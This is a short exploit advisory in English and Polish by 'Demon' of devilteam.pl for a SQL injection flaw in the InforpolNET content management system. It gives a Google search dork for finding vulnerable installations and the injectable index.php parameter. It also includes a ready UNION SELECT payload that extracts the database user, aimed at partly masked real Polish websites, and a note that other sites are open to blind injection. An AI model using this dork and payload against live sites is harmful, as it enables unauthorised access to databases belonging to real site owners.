###################
#
# sql injection bug by Demon
#
# devilteam.pl
#
###################
# Title : InforpolNET <= SQLi
#Producent: InforpolNET
# Author : Demon
# Tested on : ubuntu 10.10
#Dork: "wykonanie InforpolNET"
#Exploits:
index.php?opcode=WYBIERZ_STRONE¶m1=
na niektrych stronach jest SQL
np
http://www.tXXXXXXc.pl/index.php?opcode=WYBIERZ_STRONE¶m1=-242 union select 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20--
na innych Blind
np
http://www.stXXXXXXXd.com.pl/index.php?opcode=WYBIERZ_STRONE¶m1=15197
######################
Gretzy:
Devilteam.pl
Extra Gretzy :Mojej kobiecie za Wyrozumialosc
######################
